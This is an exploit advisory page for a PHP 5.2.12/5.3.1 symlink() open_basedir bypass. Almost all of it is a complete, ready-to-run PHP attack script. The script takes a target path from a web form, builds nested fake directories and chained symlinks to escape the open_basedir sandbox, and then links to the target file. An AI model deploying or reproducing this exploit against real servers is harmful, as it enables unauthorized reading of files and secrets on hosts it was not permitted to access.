PHP 5.2.12/5.3.1 symlink() open_basedir bypass exploit

Published
Credit
Risk
2009.11.13
Maksymilian Arciemowicz
Medium
CWE
CVE
Local
Remote
N/A
N/A
Yes
No

<?php
/*
PHP 5.2.12/5.3.1 symlink() open_basedir bypass
by Maksymilian Arciemowicz
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE><img src="http://cxsecurity.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
href="http://cxsecurity.com/" title="Security Audit PHP">Security Audit Lab </a> labs.
<p>Script for legal use only.
<p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
<p>More: <a href="http://cxsecurity.com/">SecurityReason</a>
<p><form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

if(empty($file))
exit;

if(!is_writable("."))
die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>

References:

http://cxsecurity.com/issue/WLB-2009110068


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